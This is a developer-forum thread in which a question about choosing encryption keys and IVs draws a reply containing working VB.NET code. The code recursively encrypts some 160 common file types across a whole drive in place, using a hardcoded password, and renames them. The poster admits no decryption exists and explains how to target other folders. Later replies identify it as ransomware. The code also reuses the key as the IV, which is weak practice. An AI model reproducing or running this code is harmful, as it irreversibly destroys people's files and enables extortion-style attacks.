I have a question about encryption. So I have a code sample that has a key size being chosen, something like 32 bits or something, and I am basically either filling the key size buffer with the password and then zeroes, or null bytes, or a word repeated over and over (Supercalafragalisticexpialidocios). Is there something I am missing about key and IV selection or is this the right way to go? I thought I saw something that automatically chooses the remaining bytes but I don't remember the name of the object. The data security book does not go into this problem at all.

Recommended Answers

All 6 Replies

I can't find exactly what you are asking. However encryption is a huge topic so where to start? Are you asking if your method is uncrackable or something else?

It looks like you have some confusion between bits and bytes. 32 bits is only 1 integer, or 4 bytes(on many Operating Systems). A key length of 32 bits isn't very effective.

Here's a 256-bit Encryption method I created with the help of Rijndael, however, I must warn you...once you encrypt something with this, there is no going back. I am finishing up the decryption end of it currently. Please note that the "IEnumerable(Of String) extension collection will encrypt any file with that extension name. " : WITH THAT SAID...BE CAREFUL
If you go to my Youtube channel, there is a tutorial: https://www.youtube.com/watch?v=vPmkTmAW-cA

#Region " 256-Bit Encryption | Rijndael "

'Start of the 256-bit Encryption | Collection




Public Shared Function CollectionList(atom As String, element As IEnumerable(Of String)) As IEnumerable(Of String)
    Return (From subject In Directory.GetFiles(atom, "*", SearchOption.AllDirectories) Where element.Contains(Path.GetExtension(subject).ToLower())).ToList()
End Function
'Encryption
Public Shared Sub Collector(chemical As String, password As String)
    Dim key As Byte() = New Byte(31) {}
    Encoding.Default.GetBytes(password).CopyTo(key, 0)
    Dim aes As New RijndaelManaged() With
        {    '256-bit Encryption
            .Mode = CipherMode.CBC,
            .KeySize = 256,
            .BlockSize = 256,
            .Padding = PaddingMode.Zeros
        }
    Dim buffer As Byte() = File.ReadAllBytes(chemical)
    Using matrizStream As New MemoryStream
        Using cStream As New CryptoStream(matrizStream, aes.CreateEncryptor(key, key), CryptoStreamMode.Write)
            cStream.Write(buffer, 0, buffer.Length)
            Dim appendBuffer As Byte() = matrizStream.ToArray()
            Dim finalBuffer As Byte() = New Byte(appendBuffer.Length - 1) {}
            appendBuffer.CopyTo(finalBuffer, 0)
            File.WriteAllBytes(chemical, finalBuffer)
        End Using
    End Using
    File.Move(chemical, chemical & ".Rythorian77")
End Sub

'Strings of extensions from collection 
Private Sub DataExtensions()
    Dim element As IEnumerable(Of String) = {".3dm", ".3g2", ".3gp", ".aaf", ".accdb", ".aep", ".aepx", ".aet", ".ai",
        ".aif", ".arw", ".as", ".as3", ".asf", ".asp", ".asx", ".avi", ".bay", ".bmp", ".cdr", ".cer", ".class", ".cpp",
        ".cr2", ".crt", ".crw", ".cs", ".csv", ".db", ".dbf", ".dcr", ".der", ".dng", ".doc", ".docb", ".docm", ".docx",
        ".dot", ".dotm", ".dotx", ".dwg", ".dxf", ".dxg", ".efx", ".eps", ".erf", ".fla", ".flv", ".idml", ".iff",
        ".indb", ".indd", ".indl", ".indt", ".inx", ".jar", ".java", ".jpeg", ".jpg", ".kdc", ".m3u", ".m3u8", ".m4u",
        ".max", ".mdb", ".mdf", ".mef", ".mid", ".mov", ".mp3", ".mp4", ".mpa", ".mpeg", ".mpg", ".mrw", ".msg", ".nef",
        ".nrw", ".odb", ".odc", ".odm", ".odp", ".ods", ".odt", ".orf", ".p12", ".p7b", ".p7c", ".pdb", ".pdf", ".pef",
        ".pem", ".pfx", ".php", ".plb", ".pmd", ".pot", ".potm", ".potx", ".ppam", ".ppj", ".pps", ".ppsm", ".ppsx",
        ".ppt", ".pptm", ".pptx", ".prel", ".prproj", ".ps", ".psd", ".pst", ".ptx", ".r3d", ".ra", ".raf", ".rar", ".raw",
        ".rb", ".rtf", ".rw2", ".rwl", ".sdf", ".sldm", ".sldx", ".sql", ".sr2", ".srf", ".srw", ".svg", ".swf", ".tif",
        ".vcf", ".vob", ".wav", ".wb2", ".wma", ".wmv", ".wpd", ".wps", ".x3f", ".xla", ".xlam", ".xlk", ".xll", ".xlm",
        ".xls", ".xlsb", ".xlsm", ".xlsx", ".xlt", ".xltm", ".xltx", ".xlw", ".xml", ".xqx", ".zip", ".xps", ".wp5", ".wks",
        ".wbk", ".vstx", ".vstm", ".vssm", ".vsdx", ".vsdm", ".tmp", ".tiff", ".sys", ".mui", ".txt", ".resx"}
    Dim atom As String = GetFolderPath(SpecialFolder.MyComputer) 'Change this folder to MyComputer
    For Each subject As String In CollectionList(atom, element)
        Collector(subject, "Morrigan@TrueGod(dot)com")
    Next
End Sub

#End Region

Note: Where it say's "SpecialFolder.MyComputer" that can be changed to "MyDocuments", "MyMusic", "Desktop" etc...you will see the display in Visual Studios if you delete "MyComputer" and the Period and start to type it again.
Also: You can do this if you wish to target a path:
Before:
Dim atom As String = GetFolderPath(SpecialFolder.MyComputer) '<<<<<Change this to C:\Users...etc

After:
Dim atom As String = "C:\" Your path

commented: Either this is mad or it’s malevolent -3

What possible reason would any sane person have to encrypt huge swathes of thir hard disk with no way to decrypt them.
Or is this intended as a weapon to cause massive harm to someone else's machine?

commented: Yes, it seems like another form of ransomware. +16

rproffitt commented: Yes, it seems like another form of ransomware

Worse than that - it woild be dishonest ransomeware because the perpetrator has admitted to not having the means to decrpt the files.

commented: I know folk dislike it but the perp may be lying. +0

As I read this post, I found it to be very helpful. Thank you for posting it. I enjoyed reading it.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.